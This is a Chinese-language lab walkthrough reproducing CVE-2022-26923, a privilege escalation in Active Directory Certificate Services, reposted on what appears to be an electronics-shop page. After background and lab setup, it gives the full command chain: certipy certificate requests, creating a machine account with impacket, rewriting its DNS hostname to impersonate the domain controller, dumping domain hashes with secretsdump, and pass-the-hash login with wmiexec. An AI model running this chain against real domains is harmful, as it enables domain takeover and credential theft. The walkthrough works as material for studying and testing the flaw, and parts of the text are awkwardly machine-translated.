资讯详情

CVE-2022-26923域内最新提权漏洞复现

漏洞背景

影响范围

AD与AD 证书服务

环境搭建

漏洞复现

域内定位CA主机

kali配置dns

生成测试证书

创建机器用户

为机器账户生成证书

修改DNS Hostname和SPN属性

伪造恶意证书

导出域控hash


漏洞背景

2022年5月11日,微软发布5月份安全补丁更新,其中CVE-2022-26923年的漏洞引起了人们的关注,这是一个允许低特权用户安装活动目录证书服务的区域权限改进漏洞(ADCS)在默认活动目录环境权限升级为域管理员。

该漏洞的存在是由于应用程序没有正确处理 Active Directory 域服务施加安全限制时,Active Directory当证书服务在域上运行时,身份验证的攻击者可以在证书请求中包含特殊数据,然后从Active Directory在证书服务中获得允许提高权限的证书,并将域内普通用户权限提升为域管理员权限。

影响范围

  • Windows 8.1
  • Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
  • Windows 11
  • Windows Server 2008,2012,2016,2019,2022

AD与AD 证书服务

AD(Active Directory)是微软提供的目录服务(查询、身份验证)。活动目录的核心包括活动目录数据库,活动目录数据库包括域内所有对象(用户、计算机、组…..),活动目录(Active Directory)是面向Windows Standard Server、Windows Enterprise Server以及Windows Datacenter Server目录服务。

AD它不仅用于身份和访问管理,还提供大量帮助您运营和管理组织的服务。许多服务鲜为人知或使用较少,这意味着他们在实施安全强化时经常被忽视。其中一项服务是Active DirectoryCertificate serviceAD证书服务()。

AD CS 是 Microsoft公钥基础结构(PKI)实施。由于AD在组织中提供了一定程度的信任,因此它可以用作CA证明和委托信任。

AD CS用于各种用途,如加密文件系统、创建和验证数字签名,甚至用户身份验证,也为攻击者提供了良好的攻击方式;因为证书可以在凭证轮换中生存,这意味着即使重置损坏账户的密码,恶意生成的证书也不会无效,从而提供10年的持续凭证盗窃!下图显示了证书请求和生成过程。

环境搭建

域控安装完毕后,域控继续安装Active Directory 证书服务

1. 选择服务器管理器–>添加角色和功能导向–>检查服务器角色–>Active Directory 证书服务

点击两个下一步

直到下一步安装完成。然后配置ADCS服务,只需注意以下截图,其他都是默认的

ADCS配置完毕

漏洞复现

实验环境如下:

  • :test.lab
  • :win2016 : 192.168.10.2 :DC
  • :win2012 : 192.168.10.4
  • :kali : 192.168.10.1
  • :yuwin2012/yuwin2012.com

域内定位CA主机

在域内机器上执行

certutil -config - -ping

若未安装域控AD证书服务将显示找不到活动证书颁发机构

否则弹出如下,CA名为“ test-DC-CA ”

kali配置dns

修改kali的/etc/hosts并添加以下条目:

格式为:域控地址 域控机器名.域名 证书名域名 域控机器名

域控地址       域控机器名.域名  CA名      域名       域控机器名 192.168.10.2  DC.test.lab    test-DC-CA  test.lab  DC

生成测试证书

首先,用户证书模板是我们的低权限域用户 (Username=yuwin2012、Password=yuwin2012.com) 生成证书:

使用Certipy——>https://github.com/ly4k/Certipy,执行python3 setup.py install 进行安装

certipy req 域名/域@域控主机名.域名' -ca CA名 -template  User certipy req 'test.lab/yuwin2012:yuwin2012.com@DC.test.lab' -ca test-DC-CA -template  User

让我们检查证书是否有效,以及它是否可以通过Certipy用于Kerberos身份验证

certipy auth -pfx yuwin2012.pfx

成功显示yuwin2012账户的ntlm hash

创建机器用户

使用addcomputer.py ——> https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py

创建一个机器用户:NEW_PC / Password123#

python3 addcomputer.py 'test.lab/yuwin2012:yuwin2012.com' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'

域控中发现也已经成功创建

为机器账户生成证书

让我们为我们创建的新的机器账户'NEW_PC'生成一个证书。要使用所述计算机的机器帐户,您需要在名称末尾添加一个“$”

certipy req 'test.lab/NEW_PC$:Password123#@DC.test.lab' -ca test-DC-CA -template Machine

修改DNS Hostname和SPN属性

在域内主机yuwin2012上执行如下

powershell
#以管理员身份运行,安装所需环境
Import-Module ServerManager
Add-WindowsFeature RSAT-AD-PowerShell
#修改DNShost属性,并移除SPN属性
Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
Set-ADComputer NEW_PC -ServicePrincipalName @{}
Set-ADComputer NEW_PC -DnsHostName DC.test.lab

移除了SPN属性及将dnshost设置为了Dc

伪造恶意证书

kali上执行

certipy req 'test.lab/NEW_PC$:Password123#@DC.test.lab' -ca test-DC-CA -template Machine

生成dc.pfx

验证证书是否有效

certipy auth -pfx dc.pfx 

返回hash,证书有效 

导出域控hash

python3 secretsdump.py 'test.lab/DC$@dc.test.lab' -hashes :7300df37572d276cbb6b7e2d459e59e5

wmiexec.py连接域控

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942 administrator@192.168.10.2

参考:

https://github.com/LudovicPatho/CVE-2022-26923_AD-Certificate-Services

Active Directory 域服务权限提升漏洞(CVE-2022-26923)_h领小白帽的博客-CSDN博客

标签: 聚丙烯膜介质电容器cbb80b

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台